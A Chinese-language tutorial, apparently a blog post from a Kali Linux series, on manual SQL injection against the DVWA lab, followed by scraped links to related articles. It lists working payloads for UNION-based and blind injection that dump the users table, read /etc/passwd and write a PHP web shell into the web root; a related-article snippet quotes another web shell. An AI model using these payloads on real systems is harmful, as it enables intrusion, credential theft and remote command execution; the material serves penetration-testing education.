服务器端程序将用户输入作为参数作为查询条件,直接拼写sql语句,并将结果返回给客户端浏览器

如判断登录

select * from users where user='uname' and password='pass'

select * from users where user='name' and password="or"=''

基于报错的检测方法:

'       "    %

查看代码id那里有两个单引号,再插入一个单引号,带入查询了,就可以构造自定义的sql语句

基于布尔的检测:

1' and '1'='1或1' and '1

1'and'1'='2 或1' and '0

表列数/显示信息位于哪一列:

'order by 3--     #按查询列号排序(-- 注释符)

如果猜测不对会返回报错

猜到第二列没返回,说明在第二列

联合查询:

' union select 1,2--

查到对应信息后,查看db用户-----user()   db版本----version()  当前数据库---database()

函数@@datadir--数据库路径   @@hostname--主机名  @@version--数据库版本信息  @@version_compile_os--系统主机版本

查看数据库版本和用户

查看当前数据库

查看数据库路径

mysql数据结构------infomation_schema所有信息都在这个库里面

查看所有的库,和所有的表

' union select table_name,table_schema from information_schema.tables--

统计每个表中的数量

'union select table_schema,count(*) from information_Schema.tables group by table_schema--

查看dvwa库中的表名

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--

查看dvwa表中的所有列

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa' and table_name='users'--

查询dvwa表中的user password列的内容

' union select user,password from dvwa.users--

读取文件

' union select null,load_file('/etc/passwd')--

写入文件(写入木马什么的,前提是要有www目录的写权限)

' union select null,"<?php passthru($_GET['cmd']);?>" into dumpfile"/var/www/xxsec.php"--

然后执行命令

如果没有权限的话,可以配合文件包含漏洞,把文件写到tmp目录下,利用文件包含来执行命令

sql盲注

不显示数据库内建的报错信息,报错信息提供关于系统的大量有用信息

当报错信息隐藏了,或者替换为通用的错误提示,sql注入无法根据报错信息判断语句的执行结果,即盲

思路:无法基于报错结果判断,那就基于逻辑真假的不同结果来判断

1' and 1=1-- (结果为真,返回执行了)

1' and 1=2--(结果为假的时候,没有任何返回,说明逻辑语句被执行了)

1' order by 2-- 查询有两个字段

1' union select 1,2-- 联合查询

1' and 1=0 union select null,table_name from information_schema.tables--

1' and 1=0 union select null,table_name from information_schema.columns where table_name='users'--

友情链接 http://www.cnblogs.com/klionsec

http://www.cnblogs.com/l0cm

http://www.cnblogs.com/Anonyaptxxx

http://www.feiyusafe.cn

kali linux之手动漏洞挖掘三(sql注入)的更多相关文章

  1. kali linux之手动漏洞挖掘二

    漏洞挖掘原则/宗旨----所有变量,所有头(cookie中的变量),逐个变量删除 身份认证 常用若口令/基于字典的密码爆破/锁定帐号 信息收集(手机号,身份证,住址信息等等) 密码嗅探 会话sessi ...

  2. kali linux之手动漏洞挖掘一

    默认安装漏洞 phpmyadmin/setup默认安装 ubuntu/debian默认安装php5-cgi phpmyadmin/setup默认安装 使用?-d+allow_url_include%3 ...

  3. 小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含

    手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/ ...

  4. 小白日记35:kali渗透测试之Web渗透-手动漏洞挖掘(一)-默认安装引发的漏洞

    手动漏洞挖掘 即扫描后,如何对发现的漏洞告警进行验证. #默认安装 流传linux操作系统比windows系统安全的说法,是因为windows系统默认安装后,会开放很多服务和无用的端口,而且未经过严格 ...

  5. 小白日记38:kali渗透测试之Web渗透-手动漏洞挖掘(四)-文件上传漏洞

    手动漏洞挖掘 文件上传漏洞[经典漏洞,本身为一个功能,根源:对上传文件的过滤机制不严谨] <?php echo shell_exec($_GET['cmd']);?> 直接上传webshe ...

  6. 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞

    手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...

  7. 漏洞重温之sql注入(五)

    漏洞重温之sql注入(五) sqli-labs通关之旅 填坑来了! Less-17 首先,17关,我们先查看一下页面,发现网页正中间是一个登录框. 显然,该关卡的注入应该为post型. 直接查看源码. ...

  8. 漏洞重温之sql注入(六)

    漏洞重温之sql注入(六) sqli-labs通关之旅 Less-26 进入第26关,首先我们可以从网页的提示看出本关是get型注入. 我们给页面添加上id参数后直接去查看源码. 需要关注的东西我已经 ...

  9. 漏洞重温之sql注入(七)

    漏洞重温之sql注入(七) sqli-labs通关之旅 Less-31 首先,进入31关,我们先添加上id参数. 然后,我们查看源码. 我们门可以看到,index页面源码其实很简单,网页也没有对我们的 ...

随机推荐

  1. gevent异步,io自动切换

    #!/usr/bin/env python # encoding: utf-8  # Date: 2018/6/19 # # from gevent import monkey  # 这俩行必须放在首 ...

  2. Python实现SSH传输文件(sftp)

    Windows通过ssh给Linux发送文件 #-*- coding:utf-8 -*- __author__ = "MuT6 Sch01aR" import paramiko t ...

  3. python' s fifth day for me dict

    字典 dict : key--vlaue 储存大量的数据,而且是关系型数据,查询速度快(二分查询) 数据类型分类: 可变数据类型(不可哈希):list(列表) , dict(字典), set(集合) ...

  4. day3心得

    1. 集合 主要作用: 去重 关系测试, 交集\差集\并集\反向(对称)差集 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 >>&g ...

  5. Rest Framework 认证源码流程

    一.请求到来之后,都要先执行dispatch方法,dispatch方法方法根据请求方式的不同触发get/post/put/delete等方法 注意,APIView中的dispatch方法有很多的功能 ...

  6. Nodejs开发Office插件

    如果使用Nodejs开发Office插件,需要借助Yeoman包去生成Office插件 yeoman地址是:http://yeoman.io/generators/,输入office 源码地址是:ht ...

  7. 英语单词state和status的区别

    state:比较常用,各种状态都可以用它,但是它更着重于一种心理状态或者物理状态. Status:用在人的身上一般是其身份和地位,作"状态,情形"讲时,多指政治和商业. state ...

  8. Money Systems 货币系统(母函数)

    Description 母牛们不但创建了他们自己的政府而且选择了建立了自己的货币系统. [In their own rebellious way],,他们对货币的数值感到好奇. 传统地,一个货币系统是 ...

  9. 解决Maximum execution time of 120 seconds exceeded

    在循环开始前加入代码: //设置超时时间 ini_set("max_execution_time",18000); set_time_limit(0); set_time_limi ...

  10. Java多线程-线程的同步(同步代码块)

    对于同步,除了同步方法外,还可以使用同步代码块,有时候同步代码块会带来比同步方法更好的效果. 追其同步的根本的目的,是控制竞争资源的正确的访问,因此只要在访问竞争资源的时候保证同一时刻只能一个线程访问 ...